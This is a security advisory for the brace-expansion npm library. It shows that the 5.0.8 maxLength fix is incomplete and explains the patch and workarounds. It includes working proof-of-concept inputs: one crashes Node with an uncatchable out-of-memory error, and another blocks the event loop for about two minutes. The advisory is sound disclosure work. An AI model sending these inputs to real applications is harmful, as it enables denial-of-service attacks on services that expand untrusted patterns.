GHSA-rgw5-rvv9-x895

### Summary

The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

### Details

`maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded.

**1. Comma alternatives accumulate without a running total (memory exhaustion)**

Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit:

```js values = [] for (let j = 0; j < n.length; j++) { values.push.apply(values, expand_(n[j], max, maxLength, false)) }

acc = combine(acc, pre, values, max, maxLength, ...) ```

With `A` alternatives, `values` can reach `A * maxLength` characters before `combine()` gets a chance to truncate it. At the default `maxLength` of 4,000,000 and 400 alternatives, that is well past any default heap.

**2. Padded sequences ignore `maxLength` while generating (CPU exhaustion)**

`expandSequence()` was bounded by `max` (the result *count*) but never consulted `maxLength`. A padded sequence's element width follows the input, so `{0...01..100000}` with a wide pad generates `max` elements, each as wide as the input, only for `combine()` to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to `max * width`.

| pad width | input bytes | results kept | time (5.0.8) | time (patched) | |---|---|---|---|---| | 20,000 | 20 KB | 199 | ~7.3 s | ~20 ms | | 100,000 | 100 KB | 39 | ~32 s | ~20 ms | | 400,000 | 400 KB | 9 | ~124 s | ~18 ms |

Output is byte-identical before and after the fix; only the wasted work is removed.

### Proof of concept

Memory exhaustion, against `5.0.8`:

```js import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}' const input = '{' + Array(400).fill(part).join(',') + '}' // ~25 KB

try { expand(input) } catch (e) { // never reached - the process is already dead } ```

``` FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory Aborted ```

Event-loop stall, against `5.0.8`:

```js import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU expand('{' + '0'.repeat(400_000) + '1..100000}') ```

### Impact

Denial of service. Any application that passes attacker-controlled input to `expand()`, directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with `try/catch`.

Applications already on `5.0.8` are affected: the `5.0.8` mitigation does not cover these paths.

### Patches

Both intermediate arrays are now bounded as they are built, using the same `max` and `maxLength` limits already applied in `combine()`:

- `values` tracks a running result count and character length while alternatives are appended, and stops once either bound is reached. - `expandSequence()` accepts `maxLength` and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how `max` already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

### Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to `expand()` or to glob brace patterns, or pass an explicitly small `max` **and** `maxLength`.

Note that a small `maxLength` alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

### Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at [Numyra](https://numyra.ai/).

The sequence-generation issue was found while verifying that report.